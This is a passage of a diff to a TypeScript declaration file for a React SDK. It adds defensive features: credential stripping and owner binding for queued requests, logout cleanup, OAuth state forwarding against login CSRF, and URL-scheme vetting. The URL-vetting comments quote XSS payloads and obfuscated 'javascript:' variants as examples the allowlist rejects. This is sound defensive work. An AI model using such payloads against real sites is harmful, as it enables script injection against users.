- * while offline and replay them when connectivity returns. A dependency-free
- * take on Workbox's `BackgroundSyncPlugin`, backed by a tiny IndexedDB queue.
- *
- * Import inside your `sw.ts`. Uses the Background Sync API (`registration.sync`)
- * when available, and also replays opportunistically on the next request as a
- * fallback for browsers without it (e.g. Safari).
- *
- * @example
- *   import { installBackgroundSync } from "tempest-react-sdk/sw";
- *
- *   installBackgroundSync({ match: (url) => url.pathname.startsWith("/api/") });
- */
 /** Options for {@link installBackgroundSync}. */
 export declare interface InstallBackgroundSyncOptions {
     /**
@@ -8262,6 +8742,57 @@ export declare interface InstallBackgroundSyncOptions {
      * thread with {@link registerPeriodicSync}. Default `${queueName}-periodic`.
      */
     periodicSyncTag?: string;
+    /**
+     * Header names stripped before a request is persisted — and stripped again on
+     * replay, so entries written by an older version never go out with the
+     * credential they stored. Default {@link DEFAULT_CREDENTIAL_HEADERS}; extend it
+     * for a custom credential header (`[...DEFAULT_CREDENTIAL_HEADERS,
+     * "x-tenant-key"]`). Passing `[]` restores the pre-0.77 behavior of
+     * persisting and replaying every header, credentials included.
+     */
+    credentialHeaders?: readonly string[];
+    /**
+     * Prepare each queued request right before it is replayed: return the
+     * request to send (typically with the current credentials applied) or
+     * `null` to drop the entry for good. A thrown error keeps the entry pending.
+     * The context carries the entry's owner, so a custom hook can apply the
+     * same rule as the default.
+     *
+     * Default: only an `"unbound"` entry with no stripped credentials (and, under
+     * `ownerPolicy: "lenient"`, an `"unknown"` one) is replayed as-is, without
+     * asking. Every other entry — credentialed or not —
+     * asks every open window client in parallel (see
+     * {@link provideBackgroundSyncCredentials}) and picks the answer that fits:
+     * - `"bound"`: the answer whose owner matches; none among valid answers →
+     *   dropped, never sent anonymously or as somebody else;
+     * - `"unknown"`: only when every answer lacks a principal (an app that does
+     *   not use `getPrincipal`); a single answer with one → dropped, since a
+     *   stale tab without `getPrincipal` says nothing about who is signed in
+     *   next to it. This holds for an entry
+     *   with no credential header too, since the browser attaches the cookies of
+     *   whoever is signed in at replay time;
+     * - `"unbound"`: any answer, preferring one without a principal.
+     * Then `null` headers drop a credentialed entry, an answer that lacks one of
+     * the stripped headers keeps it pending, and only the stripped names are
+     * re-applied. No valid answer at all keeps it pending until
+     * `maxRetentionMinutes` (and warns once per replay in development builds) —
+     * so a page that never calls {@link provideBackgroundSyncCredentials} leaves
+     * every entry it queued `"unknown"`, and none of them is replayed.
+     */
+    /**
+     * How an `"unknown"` owner is handled on an entry with no stripped
+     * credentials (see {@link BackgroundSyncOwnerPolicy}). Default `"strict"`.
+     *
+     * `"lenient"` restores the replay-as-is of 0.77.0 and earlier for an app without sign-in,
+     * where no page ever reports a principal. Do not use it with a cookie
+     * session: the browser attaches on replay the cookie of whoever is signed in
+     * at that moment, so a mutation queued by A whose owner was never stamped
+     * (issuing tab closed, empty `clientId`, stamp lost, legacy entry) goes out
+     * with B's session. Entries with stripped credentials ask the pages either
+     * way. Ignored when a custom `beforeReplay` is given.
+     */
+    ownerPolicy?: BackgroundSyncOwnerPolicy;
+    beforeReplay?: (request: Request, context: BackgroundSyncReplayContext) => Request | null | Promise<Request | null>;
 }
 
 /**
@@ -8494,6 +9025,14 @@ export declare interface InstallPushHandlerOptions {
  * given runtime strategies. Non-matching requests are left untouched (no
  * `respondWith`), so a later {@link installPrecache} can handle them.
  *
+ * A request carrying a credential header (`Authorization`, `X-Api-Key`, … — the
+ * route's `credentialHeaders`) is also left untouched unless its route sets
+ * `cacheAuthenticated`, and a response with `Cache-Control: no-store`
+ * (or `private`, without that opt-in) is served but never stored. `maxAgeSeconds`
+ * applies to every read, including the offline fallback: an expired entry is a
+ * miss, never a last resort. Under `rangeRequests`, the full resource is cached
+ * once (the `Range` header stripped) and each range is sliced from it.
+ *
  * Register this BEFORE `installPrecache` so specific routes win over the
  * precache catch-all.
  *
@@ -9522,6 +10061,25 @@ export declare type LocalStorageOptions<T> = {
     deserialize?: (raw: string) => T;
 };
 
+/**
+ * The default `localStorage` storage, which can also forget every record it
+ * holds.
+ */
+export declare interface LocalUploadStorage extends ResumableUploadStorage {
+    /**
+     * Forget every record under this storage's prefix — the call for
+     * `onSessionEnd`, so the next account on the browser does not find the
+     * previous one's upload URLs. Synchronous; a no-op without `localStorage`.
+     *
+     * Only values shaped like a record are removed, so a prefix without a
+     * delimiter does not take the app's own keys with it. A run still going on
+     * this prefix stops before its next chunk with
+     * {@link ResumableUploadSupersededError} (`"cleared"`) instead of writing
+     * its record back.
+     */
+    clear(): void;
+}
+
 export declare interface LogEntry {
     level: LogLevel;
     message: string;
@@ -10639,6 +11197,38 @@ export declare interface NProgressState {
     active: boolean;
 }
 
+/**
+ * A provider redirect that cannot be exchanged for a session.
+ *
+ * Thrown before any request leaves the browser, so a forged or truncated
+ * callback never reaches the backend's exchange route.
+ */
+export declare class OAuthCallbackError extends Error {
+    /** Which part of the callback was wrong. */
+    readonly reason: OAuthCallbackErrorReason;
+    /** The provider's `error` param (e.g. `"access_denied"`), when `reason` is `"provider_error"`. */
+    readonly providerError?: string;
+    /**
+     * @param reason - Which part of the callback was wrong.
+     * @param providerError - The provider's `error` param, when it sent one.
+     */
+    constructor(reason: OAuthCallbackErrorReason, providerError?: string);
+}
+
+/** Why {@link readOAuthCallbackParams} refused a callback URL. */
+export declare type OAuthCallbackErrorReason = "provider_error" | "missing_state" | "missing_code";
+
+/** The two values a provider appends to the redirect URI on success. */
+export declare interface OAuthCallbackParams {
+    /** Single-use authorization code. */
+    code: string;
+    /**
+     * The CSRF `state` the backend minted when the flow started. Forwarded
+     * verbatim: only the backend holds the value it must match.
+     */
+    state: string;
+}
+
 export declare interface OAuthCredential {
     /** Provider-issued ID token (JWT). */
     idToken: string;
@@ -10720,19 +11310,68 @@ export declare interface OfflineIndicatorProps extends HTMLAttributes<HTMLDivEle
     children?: ReactNode;
 }
 
+/** Options for {@link OfflineQueryPersistence.clear}. */
+export declare interface OfflineQueryClearOptions {
+    /**
+     * Also clear the in-memory `QueryClient` (`queryClient.clear()`) once
+     * persistence has stopped and the snapshot is deleted — the one-call logout.
+     * Default `false`: the client belongs to the app, which may want to keep
+     * public queries (a catalog, feature flags) across sessions and drop only
+     * the user-scoped keys with `removeQueries`.
+     */
+    resetClient?: boolean;
+}
+
 /** Handle returned by {@link persistQueryClientOffline}. */
 export declare interface OfflineQueryPersistence {
     /**
      * Load the persisted snapshot into the `QueryClient`. Call once on boot,
-     * before rendering queries, so cached data is available offline.
+     * before rendering queries, so cached data is available offline. A no-op
+     * once {@link OfflineQueryPersistence.clear} has been called.
      */
     restore: () => Promise<void>;
-    /** Write the current cache snapshot immediately (bypassing the throttle). */
+    /**
+     * Write the current cache snapshot immediately (bypassing the throttle). A
+     * no-op once {@link OfflineQueryPersistence.clear} has been called.
+     */
     flush: () => Promise<void>;
-    /** Stop persisting and drop the pending write. */
+    /** Stop persisting and drop the pending write. Idempotent. */
     unsubscribe: () => void;
-    /** Delete the persisted snapshot (e.g. on logout). */
-    clear: () => Promise<void>;
+    /**
+     * End the persisted session (e.g. on logout) and delete the snapshot.
+     *
+     * Terminal for this handle: it cancels the pending throttled write, stops
+     * persisting cache changes, waits for any write already in flight and only
+     * then deletes the row — so neither a write pending in the last throttle
+     * window nor cache activity after logout (the next user's first query) can
+     * re-persist the previous user's responses. Afterwards `restore`/`flush`
+     * are no-ops; to persist a new session, call
+     * {@link persistQueryClientOffline} again after login. In a dev build
+     * (`isDevBuild()`), the first `restore`, `flush` or added/updated query on
+     * an ended handle logs one `console.warn` saying so, because a handle kept
+     * at module scope would otherwise stop persisting in silence.
+     *
+     * Ordered against other handles on the same `databaseName` + `key`: until
+     * this clear settles, a new handle's `restore()` and writes wait for it, so
+     * a handle created on login without awaiting the logout neither hydrates
+     * the previous snapshot nor has its first write deleted.
+     *
+     * If the delete rejects, `resetClient` still clears the client and the
+     * rejection reaches the caller.
+     *
+     * The in-memory `QueryClient` is cleared only with `resetClient: true`, and
+     * then only after persistence has stopped, so the reset itself cannot
+     * trigger a write. It is opt-in because the app owns the client and the
+     * shape of its logout: it may keep public queries and drop only the
+     * user-scoped keys with `removeQueries`. Because persistence is already
+     * off, that manual call can come before or after this one.
+     *
+     * Idempotent and safe to call concurrently; every call deletes the row
+     * again.
+     *
+     * @param options - `resetClient` also clears the in-memory `QueryClient`.
+     */
+    clear: (options?: OfflineQueryClearOptions) => Promise<void>;
 }
 
 /** Options for {@link persistQueryClientOffline}. */
@@ -11697,7 +12336,23 @@ export declare interface PeerMesh {
     applyQuality: (quality: MeshQuality) => Promise<void>;
     /** Replace the ICE servers used for links opened from now on. */
     setIceServers: (servers: RTCIceServer[]) => void;
-    /** Close every link and report `closed`. */
+    /**
+     * Close every link, forget the local tracks and report `closed` — for good.
+     *
+     * Stopping is terminal. The signalling socket usually outlives the call, so
+     * an offer still in flight from a former participant, or from anyone the
+     * server relays to this user, keeps reaching {@link PeerMesh.accept} after
+     * the hang-up. A stopped mesh drops it: no connection is opened, nothing is
+     * answered and no track is published, so a call that reports `closed` never
+     * sends the microphone or camera again. The same holds for `addPeer`,
+     * `setLocalTrack` and `applyQuality`, and for every negotiation that was
+     * already awaiting the browser when `stop()` ran. Calling it twice is a
+     * no-op.
+     *
+     * The tracks themselves are not stopped: they belong to the caller, who may
+     * still be showing them in a preview or reusing them on the next call. To
+     * join again, create a new mesh.
+     */
     stop: () => void;
     /** The peers as the mesh currently sees them. */
     readonly peers: MeshPeer[];
@@ -11820,11 +12475,18 @@ export declare interface PermissionsFromTokenOptions {
  * @param options - The client plus storage/throttle configuration.
  * @returns A handle with `restore`, `flush`, `clear` and `unsubscribe`.
  *
+ * `clear()` is terminal for the handle (see {@link OfflineQueryPersistence.clear}):
+ * a logout that only deleted the row used to be undone by the pending write or
+ * by the next cache event, restoring the previous user's data on the next boot
+ * (#440).
+ *
  * @example
  * const persistence = persistQueryClientOffline({ queryClient });
- * await persistence.restore(); // before first render
- * // ... later, on logout:
- * await persistence.clear();
+ * await persistence.restore();
+ *
+ * async function logout(): Promise<void> {
+ *     await persistence.clear({ resetClient: true });
+ * }
  */
 export declare function persistQueryClientOffline(options: OfflineQueryPersistenceOptions): OfflineQueryPersistence;
 
@@ -12170,6 +12832,57 @@ export declare type ProgressVariant = "primary" | "success" | "warning" | "dange
  */
 export declare function projectMercator(coord: Coordinate): MercatorPoint;
 
+/**
+ * Answer the worker's questions about queued requests (see `beforeReplay` on
+ * {@link installBackgroundSync}). Install it once in every page, next to your
+ * auth setup; it reads the token at replay time, so the queue never has to store
+ * it. Without it, a queued request that carried a credential header is never
+ * replayed.
+ *
+ * `getHeaders` must return **every** credential header the app sends (the worker
+ * keeps an entry pending when one it stripped is missing), or `null` when there
+ * is no session — the worker then drops the entry instead of replaying it
+ * anonymously. A throw from `getHeaders` or `getPrincipal` is answered as an
+ * explicit `{ error: true }`. The worker only applies headers whose names the
+ * original request carried, so returning `Authorization` for every URL never
+ * leaks it to a URL that did not receive it in the first place.
+ *
+ * Pass `getPrincipal` to bind each entry to whoever queued it: the worker asks
+ * the issuing tab right after queueing, asks every tab again before replaying,
+ * and drops the entry when no signed-in tab is its owner.
+ *
+ * @param getHeaders - Resolves the headers for one queued request at replay.
+ * @param options - `getPrincipal` binds entries to their owner.
+ * @returns A function that removes the listener. A no-op outside the browser.
+ *
+ * @example
+ * import { provideBackgroundSyncCredentials } from "tempest-react-sdk/sw";
+ *
+ * const stop = provideBackgroundSyncCredentials(
+ *     () => {
+ *         const token = localStorage.getItem("token");
+ *         return token ? { Authorization: `Bearer ${token}` } : null;
+ *     },
+ *     { getPrincipal: () => localStorage.getItem("userId") },
+ * );
+ */
+export declare function provideBackgroundSyncCredentials(getHeaders: BackgroundSyncCredentialsProvider, options?: ProvideBackgroundSyncCredentialsOptions): () => void;
+
+/** Options for {@link provideBackgroundSyncCredentials}. */
+export declare interface ProvideBackgroundSyncCredentialsOptions {
+    /**
+     * Who is signed in right now — a stable, non-secret id such as the user id;
+     * `null`/`undefined` when nobody is. Read when a request is queued and again
+     * when it is replayed: an entry is only sent while the same principal is
+     * signed in, and dropped otherwise, so a mutation queued by one account is
+     * never sent with another account's credentials even when the app forgets
+     * `clearSessionData()` on logout. Only a SHA-256 fingerprint reaches the
+     * queue, never the value itself. A throw is answered as an explicit error,
+     * which leaves the owner unknown (fail closed).
+     */
+    getPrincipal?: () => string | null | undefined | Promise<string | null | undefined>;
+}
+
 /**
  * One page of the server delta pull.
  *
@@ -12568,6 +13281,50 @@ export declare function readAvailableOutgoingKbps(report: RTCStatsReport): numbe
  */
 export declare function readDeviceProfile(): DeviceProfile;
 
+/** Options for {@link readOAuthCallbackParams}. */
+export declare interface ReadOAuthCallbackOptions {
+    /**
+     * Remove `code` and `state` from the address bar after reading them, with
+     * `history.replaceState` — other params, the hash and `history.state` are
+     * kept. Default: `true` when reading `window.location`, `false` when an
+     * explicit `search` is passed (there is no URL of yours to clean then).
+     */
+    scrubUrl?: boolean;
+}
+
+/**
+ * Read `code` and `state` from a provider's redirect, refusing an incomplete one.
+ *
+ * The `state` is what ties the callback to the browser that started the flow.
+ * Without it, an attacker sends the victim to `/callback?code=<attacker's code>`
+ * and the victim ends up signed in to the attacker's account — a login CSRF.
+ * The old recipe read only `code` and posted `{ code }`, so the `state` never
+ * reached a backend that could compare it (#449). This reader makes dropping it
+ * impossible: it returns both or throws.
+ *
+ * It does **not** compare the state. In the `tempest-fastapi-sdk` flow the
+ * backend mints it in `GET {prefix}/oauth/{provider}/login`, keeps it in an
+ * `HttpOnly` cookie bound to the provider, and checks it with
+ * `hmac.compare_digest` in the callback (single use, `AUTH_OAUTH_STATE_TTL_SECONDS`
+ * expiry). The browser cannot read that cookie, so any check here would be
+ * theatre; forwarding the value is the browser's whole job.
+ *
+ * When it reads `window.location`, it also removes `code` and `state` from the
+ * address bar (see {@link ReadOAuthCallbackOptions.scrubUrl}) — before
+ * validating, so a refused callback is cleaned too.
+ *
+ * @param search - The query string or params to read. Default: `window.location.search`.
+ * @param options - Whether to scrub the URL.
+ * @returns The `code` and `state`.
+ * @throws {OAuthCallbackError} `"provider_error"` when the provider sent `error`
+ *   (the user declined, for instance), `"missing_state"` without `state`,
+ *   `"missing_code"` without `code`.
+ *
+ * @example
+ * const { code, state } = readOAuthCallbackParams("?code=4%2F0A&state=xyz");
+ */
+export declare function readOAuthCallbackParams(search?: string | URLSearchParams, options?: ReadOAuthCallbackOptions): OAuthCallbackParams;
+
 /**
  * Read what the encoder says is holding the picture back.
  *
@@ -12846,6 +13603,26 @@ export declare interface ReorderPayload {
     to: number;
 }
 
+/**
+ * What {@link ApiClientConfig.refresh} and {@link ApiClientConfig.onUnauthorized}
+ * learn about the attempt that came back `401`: the credential and the session it
+ * left under, both read when that attempt was sent.
+ */
+export declare interface RequestAuthContext {
+    /**
+     * The access token the rejected attempt was sent with, read from `getToken`
+     * when it left — or `null` when it carried none (`skipAuth`, no token yet,
+     * or no `getToken` configured).
+     */
+    token: string | null;
+    /**
+     * What `getSessionEpoch` returned when the attempt left, or `null` when it
+     * is not configured. Differing from the current value means the attempt
+     * belongs to a session that has since ended.
+     */
+    epoch: number | null;
+}
+
 export declare interface RequestOptions extends Omit<RequestInit, "body"> {
     body?: unknown;
     params?: Record<string, string | number | boolean | undefined | null>;
@@ -13045,6 +13822,29 @@ export declare interface ResumableUploadOptions {
     headers?: Record<string, string>;
     /** Returns the current bearer token, read before each request. */
     getToken?: () => string | null | undefined;
+    /**
+     * Who is signed in — a user id, or `null`/`undefined` for nobody — read when
+     * `start()`/`resume()` attaches to the upload. The same getter the error
+     * reporter and `provideBackgroundSyncCredentials` take.
+     *
+     * The resume record is stamped with a one-way fingerprint of it, and a
+     * record stamped by anyone else — another user, nobody, or no stamp at all
+     * — is deleted instead of resumed: its upload URL is not probed, and its
+     * `Idempotency-Key` is never replayed. Without it, the record is bound to
+     * the file alone (endpoint, name, size, type, mtime), so after user A
+     * signed out leaving an upload half-done, user B picking an identical file
+     * sent `HEAD`/`PATCH` to A's upload URL with B's token, and on refusal
+     * replayed A's `Idempotency-Key` with B's token (#479). Pass it on every
+     * app with more than one account per browser, and also clear the storage
+     * at session end (`createLocalUploadStorage().clear()` in `onSessionEnd`).
+     *
+     * It is read again before every chunk and every record write: when it
+     * names someone else mid-run, the run stops with
+     * {@link ResumableUploadSupersededError} (`"principal"`) before the new
+     * account's token reaches the previous one's upload URL. Without it, call
+     * `abort()` on the uploads in progress from `onSessionEnd`.
+     */
+    getPrincipal?: () => string | number | null | undefined;
     /**
      * Origins besides `endpoint`'s that may receive the `getToken` credential.
      *
@@ -13112,6 +13912,13 @@ export declare interface ResumableUploadRecord {
     idempotencyKey: string;
     /** Epoch ms of the last write, so an app can sweep stale records. */
     updatedAt: number;
+    /**
+     * One-way fingerprint of the principal that created the upload (`"p:<hex>"`),
+     * `null` for an anonymous one. Absent when the upload ran without
+     * {@link ResumableUploadOptions.getPrincipal}, and on records written before
+     * 0.78.0.
+     */
+    owner?: string | null;
 }
 
 /** What a finished upload resolves with. */
@@ -13146,18 +13953,65 @@ export declare interface ResumableUploadStorage {
     delete(key: string): Promise<void> | void;
 }
 
+/**
+ * Thrown by `start()`/`resume()` when the run can no longer go on as the
+ * account that started it.
+ *
+ * - `"principal"` — `getPrincipal` names someone else than when the run
+ *   attached: the next chunk would carry the new account's token to the
+ *   previous account's upload URL, and the record would be stamped for the
+ *   wrong owner.
+ * - `"cleared"` — `createLocalUploadStorage().clear()` ran for this storage's
+ *   prefix (typically in `onSessionEnd`): writing the record back would undo
+ *   the clear.
+ *
+ * Not a pause: the run cannot be resumed as the new account. The state moves
+ * to `"error"`, and the previous owner's record is left as it was.
+ */
+export declare class ResumableUploadSupersededError extends Error {
+    /** Why the run stopped. */
+    readonly reason: "principal" | "cleared";
+    /**
+     * @param reason - Why the run stopped.
+     */
+    constructor(reason: "principal" | "cleared");
+}
+
 /**
  * Run `factory()` with exponential backoff. Each attempt awaits an
  * increasing delay capped at `maxDelay`. Throws the last error if every
  * attempt fails.
  *
+ * `retries` is the **total** number of attempts, never fewer than one — see
+ * {@link RetryOptions.retries}. `retries: 5` means one call plus four replays.
+ *
+ * @param factory - Starts one attempt; called again for every replay.
+ * @param options - Attempt count, backoff and the retry predicate.
+ * @returns What the first successful attempt resolved with.
+ * @throws The error of the last attempt, or an `AbortError` once `signal` aborts.
+ *
  * @example
  * const data = await retry(() => api.get("/flaky"), { retries: 5 });
  */
 export declare function retry<T>(factory: () => Promise<T>, options?: RetryOptions): Promise<T>;
 
 export declare interface RetryOptions {
-    /** Max attempts (including the first). Default: 3. */
+    /**
+     * Total attempts, the first one included. Default: 3 — one call plus two
+     * replays.
+     *
+     * The first attempt always runs: `0`, a negative number or a fraction below
+     * one all mean "a single attempt, no replay", and that attempt's error is the
+     * one the promise rejects with. A fraction is rounded down; `NaN` falls back
+     * to the default.
+     *
+     * The name reads like "replays after the first", but every surface that
+     * forwards it has always counted totals — {@link createApiClient}'s `retry`,
+     * `createResumableUpload` ("5 attempts"), and `lazyWithRetry`'s own
+     * `retries`. Switching to "replays" would add one request to every caller
+     * that passes a number, which no change of default can hide, so the count
+     * stays a total and only the values that ran nothing were fixed (#486).
+     */
     retries?: number;
     /** Initial backoff in ms. Doubles each attempt, capped at `maxDelay`. Default: 300. */
     initialDelay?: number;
@@ -13368,6 +14222,38 @@ export declare interface RuntimeRoute {
      * resource is cached once (the `Range` header is stripped before caching).
      */
     rangeRequests?: boolean;
+    /**
+     * Opt in to caching requests that carry a credential header (see
+     * `credentialHeaders`), and responses marked `Cache-Control: private`.
+     * Default `false`.
+     *
+     * Cache Storage is keyed by URL and outlives the session: without this
+     * gate, a `GET /api/me` stored for one account was served to the next
+     * account on the same browser whenever the network failed or exceeded
+     * `networkTimeoutSeconds` (reproduced in Chromium 153, 11/10/2026). With
+     * the default, credentialed requests bypass the route entirely and reach
+     * the network as if no service worker were installed.
+     *
+     * When enabled, every stored entry gets `Vary` on each credential header the
+     * request carried, so the Cache API only matches it for the same credential —
+     * another account (or no account) misses instead of reading it. A token
+     * rotated while online simply repopulates the entry. Pair it with
+     * `clearSessionData()` on logout, which removes the entries themselves.
+     * `Cache-Control: no-store` is never cached, opt-in or not.
+     *
+     * A cookie session is invisible here: the worker cannot see `Cookie`, and
+     * gating on `request.credentials` would switch off caching for every
+     * same-origin image and font. A cookie-authenticated API stays private only
+     * through `Cache-Control: private`/`no-store` on its responses and
+     * `clearSessionData()` on logout.
+     */
+    cacheAuthenticated?: boolean;
+    /**
+     * Header names that mark a request as credentialed. Default
+     * `DEFAULT_CREDENTIAL_HEADERS` (`authorization`, `x-api-key`,
+     * `x-auth-token`, …) — the same list the background-sync queue strips.
+     */
+    credentialHeaders?: readonly string[];
 }
 
 /**
@@ -13392,7 +14278,7 @@ export declare interface RuntimeRoute {
  *
  *   // Register specific routes FIRST so they win over the precache catch-all.
  *   installRuntimeCache([
- *     { match: /\/api\//, strategy: "network-first", cacheName: "api", maxAgeSeconds: 300 },
+ *     { match: /\/api\//, strategy: "network-first", cacheName: "tempest-api", maxAgeSeconds: 300 },
  *   ]);
  *   installPrecache();
  */
@@ -13421,6 +14307,77 @@ export declare interface SafeAreaProps extends HTMLAttributes<HTMLDivElement> {
     children?: ReactNode;
 }
 
+/**
+ * The URL to fetch or download an attachment from, or `null`.
+ *
+ * The allowlist is `http:`, `https:`, `blob:`, relative URLs and the raster
+ * `data:image/` types {@link safeImageUrl} accepts. A file row is an `<a href
+ * download>`, and the `download` attribute does not stop a `javascript:` href
+ * from running (measured in Chromium 153 and Firefox 155, #447), so the scheme
+ * has to be checked before the anchor exists. `mailto:`/`tel:` are left out: an
+ * attachment is bytes, not a contact.
+ *
+ * The scheme is judged on the normalized form, but the URL comes back **as given**:
+ * normalizing deletes every space, and `/files/relatório final.pdf` is a real
+ * attachment path. Returning the original is safe because the normalization only
+ * removes characters, a superset of what the browser's URL parser strips, so it
+ * can never hide a scheme the browser would see.
+ *
+ * @example
+ * const href = safeAttachmentUrl(attachment.url);
+ * return href ? <a href={href} download>{name}</a> : <span>{name}</span>;
+ *
+ * @param raw - URL as the sender supplied it.
+ * @returns A safe URL, or `null` when it must not reach an `href`.
+ */
+export declare function safeAttachmentUrl(raw: string): string | null;
+
+/**
+ * The `src` to render for an image, or `null`.
+ *
+ * Accepts what {@link safeLinkUrl} accepts, plus raster `data:image/...;base64`.
+ *
+ * @example
+ * safeImageUrl("data:image/png;base64,iVBORw0KGgo="); // kept
+ * safeImageUrl("data:image/svg+xml;base64,PHN2Zz4="); // null
+ *
+ * @param raw - URL as written in the Markdown.
+ * @returns A safe src, or `null`.
+ */
+export declare function safeImageUrl(raw: string): string | null;
+
+/**
+ * URL vetting for every `href` and `src` the SDK fills from somebody else's data:
+ * links and images in rendered Markdown, and the file row of a chat attachment.
+ *
+ * This is a security boundary. Text that arrives from a user — a comment, a ticket
+ * description, a chat attachment — reaches the DOM as a real `href`, and
+ * `javascript:alert(1)` in a link is script execution on click. React 19 replaces
+ * a `javascript:` href with a throwing stub, but the peer range admits React 18,
+ * which only warns: measured with react-dom 18.3.1, `renderToStaticMarkup` wrote
+ * `href="javascript:..."` verbatim, and clicking it ran the script in Chromium 153
+ * and Firefox 155 — `download` on the anchor did not stop it (#447). So the
+ * scheme is checked against an allowlist rather than a blocklist: a blocklist has
+ * to enumerate `javascript:`, `JaVaScRiPt:`, `java\tscript:`, `&#106;avascript:`
+ * and whatever comes next, and misses the one nobody thought of.
+ */
+/**
+ * The href to render, or `null` when the URL must not be linked.
+ *
+ * Relative URLs (`/docs`, `./x`, `#anchor`, `foo/bar`) are kept: they cannot carry
+ * a scheme, so they cannot execute anything, and dropping them would break every
+ * in-app link. Protocol-relative (`//host/path`) inherits the page scheme and is
+ * kept for the same reason.
+ *
+ * @example
+ * safeLinkUrl("https://x.dev"); // "https://x.dev"
+ * safeLinkUrl("java\tscript:alert(1)"); // null
+ *
+ * @param raw - URL as written in the Markdown.
+ * @returns A safe href, or `null`.
+ */
+export declare function safeLinkUrl(raw: string): string | null;
+
 /** A schema exposing zod's `.safeParse`, including versions older than `~standard`. */
 export declare interface SafeParseSchemaLike<T> {
     readonly safeParse: (value: unknown) => {
@@ -13910,6 +14867,35 @@ export declare interface SequentialScaleOptions {
     ordinal?: boolean;
 }
 
+/**
+ * Thrown when the session that started an operation is no longer the current
+ * one by the time it settles: a `refresh` hook (rethrown by
+ * {@link createApiClient}), or a `createTempestAuth` `login()` whose session
+ * was replaced while it waited on the previous session's teardown.
+ *
+ * A refresh is a network round trip, and the session can end or change hands
+ * during it: the user signs out, or signs out and another account signs in. The
+ * tokens that refresh brings back belong to the session that ended, so they are
+ * discarded instead of installed, and the request that was waiting on them is
+ * not replayed — replaying it would send it as whoever is signed in now.
+ *
+ * This is deliberately not an unauthorized outcome. The client does **not** call
+ * `onUnauthorized` for it: that callback ends the session, and the current
+ * session — possibly a different account that just signed in — did nothing
+ * wrong. Treat it like an aborted request: drop the result, show nothing.
+ *
+ * @example
+ * try {
+ *     await api.get("/api/orders");
+ * } catch (err) {
+ *     if (err instanceof SessionSupersededError) return;
+ *     throw err;
+ * }
+ */
+export declare class SessionSupersededError extends Error {
+    constructor();
+}
+
 /**
  * Send an element's audio to a specific output device.
  *
@@ -15158,9 +16144,23 @@ export declare interface TempestAuth<TUser, TCredentials> {
     api: ApiClient;
     /** Authenticate, store the session, and resolve the user (or null). */
     login: (credentials: TCredentials) => Promise<TUser | null>;
-    /** Clear the session (and the stored refresh token). */
-    logout: () => void;
-    /** Refresh the access token (deduplicated across concurrent callers). */
+    /**
+     * End the session: supersede any refresh in flight, clear the store and the
+     * stored refresh token, then run `onSessionEnd`.
+     *
+     * The store is cleared synchronously, before the first `await`, so callers
+     * that ignore the promise see the signed-out state at once. The promise
+     * resolves when `onSessionEnd` settled — and, with `logoutPath`, when the
+     * server-side revocation settled too — and rejects with the hook's error;
+     * a failed revocation never rejects it.
+     */
+    logout: () => Promise<void>;
+    /**
+     * Refresh the access token (deduplicated across concurrent callers).
+     *
+     * @throws {SessionSupersededError} When the session ended or changed while
+     *   the refresh was in flight; its tokens were discarded.
+     */
     refresh: () => Promise<void>;
     /** The current access token, or null. */
     getToken: () => string | null;
@@ -15233,6 +16233,35 @@ export declare interface TempestRouteObject {
     caseSensitive?: boolean;
 }
 
+/**
+ * What {@link CreateTempestAuthOptions.onSessionEnd} receives about the session
+ * that just ended.
+ */
+declare interface TempestSessionEnd<TUser> {
+    /**
+     * Why it ended: `"logout"` for an explicit `logout()`, `"expired"` when the
+     * client ended it on its own — the refresh failed, or the request replayed
+     * after a refresh still came back `401` — and `"switch"` when `login()`
+     * succeeded for another set of credentials while this session was live.
+     */
+    reason: "logout" | "expired" | "switch";
+    /** The user of the ended session, as the store held it. */
+    user: TUser | null;
+    /** The access token of the ended session, or `null` when it had none. */
+    token: string | null;
+    /**
+     * A client that sends the ended session's access token — the store has
+     * already been cleared, so `auth.api` no longer does.
+     *
+     * Use it for the server-side half of the teardown, such as deleting this
+     * browser's push subscription. It never refreshes and never ends a session:
+     * a `401` here just rejects. On `"logout"` the token is usually still
+     * valid; on `"expired"` the server has already refused it, so expect the
+     * call to fail and keep the local half of the teardown independent of it.
+     */
+    api: ApiClient;
+}
+
 /** The token envelope returned by a Tempest FastAPI SDK login/refresh route. */
 export declare interface TempestTokenResponse {
     /** The bearer access token. */
@@ -15434,6 +16463,16 @@ export declare interface TimePickerProps {
 
 export { To }
 
+/**
+ * Horizontal alignment of a toast's title and description.
+ *
+ * `"start"` is the default because a toast is read as a sentence beside a close
+ * button: left-aligned lines share one edge with the icon and the stack, so a
+ * two-line description stays scannable. `"center"` exists for the short
+ * celebratory toast (an achievement with a badge) where the text is one line.
+ */
+export declare type ToastAlign = "start" | "center";
+
 export declare interface ToastApi {
     show: (options: ToastOptions) => string;
     dismiss: (id: string) => void;
@@ -15450,6 +16489,30 @@ export declare interface ToastOptions {
     variant?: ToastVariant;
     /** Auto-dismiss timeout in ms. Pass `0` to keep the toast until dismissed manually. */
     duration?: number;
+    /**
+     * Leading slot rendered before the text, e.g. `<img src="/badge.svg" alt="" />`.
+     *
+     * It is an app asset, so it takes any `ReactNode` — but it is a slot for an
+     * **icon**, not for a control. The wrapper is `inert`, so a button or link put
+     * here is neither focusable nor clickable; actions belong outside the toast.
+     *
+     * The slot is decorative (`aria-hidden`) unless {@link ToastOptions.iconLabel}
+     * is given: most icons repeat what the title already says, and an unlabelled
+     * image inside the live region would otherwise be announced as "image" or by
+     * its file name. An `<img>` or `<svg>` anywhere inside it is capped at 32px and
+     * keeps its aspect ratio. A node that renders nothing (`null`, a boolean, `""`,
+     * `[]`, an empty fragment) counts as no icon, so the toast keeps two columns.
+     */
+    icon?: ReactNode;
+    /**
+     * Accessible name for {@link ToastOptions.icon} when the icon carries meaning
+     * the text does not. With it the slot becomes `role="img"` with this label and
+     * is announced together with the toast; without it the slot is hidden from
+     * assistive technology.
+     */
+    iconLabel?: string;
+    /** Text alignment of title and description. Default `"start"`; see {@link ToastAlign}. */
+    align?: ToastAlign;
 }
 
 export declare type ToastPosition = "top-right" | "top-left" | "top-center" | "bottom-right" | "bottom-left" | "bottom-center";
@@ -15473,7 +16536,9 @@ export declare type ToastVariant = "success" | "warning" | "error" | "info";
  * Serialize rows to CSV text, RFC 4180 style.
  *
  * Rows are separated by `\r\n` — the RFC's terminator and the one Excel is least
- * surprised by. A row is emitted for the header even when `rows` is empty, so the
+ * surprised by. Text that a spreadsheet would evaluate as a formula is written
+ * with a leading `'` unless `neutralizeFormulas` is `false` (see
+ * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the
